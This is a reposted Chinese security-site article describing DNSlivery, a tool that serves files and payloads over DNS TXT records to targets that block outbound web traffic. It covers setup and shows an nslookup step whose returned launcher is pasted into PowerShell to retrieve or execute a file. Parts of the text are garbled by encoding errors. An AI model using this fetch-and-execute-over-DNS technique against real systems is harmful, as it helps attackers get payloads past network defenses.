<button id="ei02c"><ol id="ei02c"></ol></button>
            1. <div id="ei02c"></div>

                    1. 安基网 首页 安全 安全学院 查看内容

                      DNSlivery:利用DNS协议投递文件和Payload

                      2019-3-9 11:26| 投稿: xiaotiger |来自: 互联网


                      免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

                      摘要: DNSlivery项目允许通过DNS协议将文件和Payload投递到目标上。该项目最初的灵感来自于PowerDNS和Joff Thyer发布在Paul每周安全播客#590的技术片段。特性允许打印,执行或保存文件到目标不需要目标上的任何客户端不需要完整的DNS服务器DNSlivery可以轻松地将文件/payload传送到目标机器,且不需要目标上 ...

                      DNSlivery项目允许通过DNS协议将文件和Payload投递到目标上。该项目最初的灵感来自于PowerDNS和Joff Thyer发布在Paul每周安全播客#590的技术片段。

                      特性

                      允许打印,执行或保存文件到目标

                      不需要目标上的任何客户端

                      不需要完整的DNS服务器

                      DNSlivery可以轻松地将文件/payload传送到目标机器,且不需要目标上安装运行任何专用?#30446;?#25143;端软件,这是web delivery无法做到的地方。这非常适用于禁止传出Web流量或仅通过网络代理进行检查的受限环?#22330;?/p>

                      即使已存在更为完整的DNS隧道工具(如,dnscat2和iodine),它们都需要在目标上运行专用客户端。问题是DNS可能并没有办法在这种受限的环境中提供客户端。换句话说,使用这些工具构建DNS信道需要已建立DNS信道。

                      相比之下,DNSlivery仅提供从服务器到目标的单向通信,但不需要任何专用客户端来执行此操作。因此,如果你需要通过DNS构建可靠的双向信道,请使用DNSlivery投递一个更高级的DNS隧道工具到你的目标。

                      工作原理

                      与大多数DNS隧道工具一样,DNSlivery使用TXT记录并以base64表示?#38382;?#23384;储文件内容。然而,它不需要设置完整的DNS服务器,它使用scapy库来侦听传入的DNS数据包以及响应。

                      由于大多数文件不适?#31995;?#20010;TXT记录,DnsLivery将创建包含base64 chunk文件的多个?#34892;?#35760;录。作为一个例子,上图说明了名为file的文件的第42个chunk的传递。

                      为了检索所有base64 chunk并将它们重新组合在一起而不需要目标上的专用客户端,DnsLivery将为每个文件生成:

                      一个简单的明文 launcher

                      一个可靠的base64编码stager

                      需要这两个阶段的投递过程来向stager添加功能(s.a.处理丢失的DNS响应),否则这些功能将不适?#31995;?#20010;TXT记录。

                      关于目标兼容性

                      目前,仅支持PowerShell。但是,可以通过改进DNSlivery使其支持其他目标,如bash或python。如果这是你希望实现的功能,请告诉我@no0be。

                      安装要求

                      DNSlivery不需要构建复杂的服务器架构。?#23548;?#19978;,你只需满足以下两个简单的要求即可:

                      能够在你的公共DNS区域中创建NS记录

                      拥有一台能够从Internet接收udp/53流量的Linux服务器

                      设置

                      DNS Zone

                      第一步是通过在域中创建新的NS记录,将子域委派给将运行DNSlivery的服务器。例如,我创建了以?#24405;?#24405;,将子域dnsd.no0.be委派给服务器vps.no0.be.

                      dnsd IN NS vps.no0.be.
                      

                      如果你的区域由第三方提供商管理,请参阅其文档以创建NS记录。

                      DNSlivery

                      运行DNSlivery的唯一要求是python3及其scapy库。

                      git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
                      pip install -r requirements.txt
                      

                      使用

                      Server

                      DNSlivery将提供给定目录的所有文件(默认为pwd),并且需要以root权限运行以侦听传入的udp/53数据包。

                      usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
                      DNSlivery - Easy files and payloads delivery over DNS
                      positional arguments:
                       interface interface to listen to DNS traffic
                       domain FQDN name of the DNS zone
                       nameserver FQDN name of the server running DNSlivery
                      optional arguments:
                       -h, --help show this help message and exit
                       -p PATH, --path PATH path of directory to serve over DNS (default: pwd)
                       -s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
                       -v, --verbose increase verbosity
                      

                      示例:

                      $ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
                      DNSlivery - Easy files and payloads delivery over DNS
                      [*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
                      [*] Listening for DNS queries...
                      

                      关于文件名规范化

                      由于域名允许的字符集比UNIX文件名更具限制性(根据RFC1035),因此DNSlivery将在需要时执行规范化。

                      示例:

                      [*] File "My Awesome Powershell Script 
                       .ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
                      

                      注意,当前的规范化代码并不完美,因为它不会考虑文件名重叠或大小限制。

                      Target

                      在目标上,首先通过请求其专用TXT记录来检索所需文件的launcher。支持以下三个launcher:

                      行为Launcher描述打印[filename].print.[domain](默认)将传送的文件打印到控制台执行[filename].exec.[domain]执行传送的文件(对脚本有用)保存[filename].save.[domain]将传送的文件保存到磁盘(对二进制文件很有用)

                      nslookup -type=txt [filename].[stager].[domain]
                      

                      然后,只需将DNS响应中引用的launcher复制并?#31243;?#21040;PowerShell控制台即可检索目标上的文件。

                      示例:

                      *参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM



                      小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培?#21040;?#31243;免费学,让您少走弯路、事半功倍,好工作升职?#26377;劍?/font>

                      本文出自:https://www.toutiao.com/a6666222004091224590/

                      免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


                      鲜花

                      ?#24080;?/a>

                      雷人

                      路过

                      鸡蛋

                      相关阅读

                      最新评论

                       最新
                      返回顶部
                      新疆11选5计算公式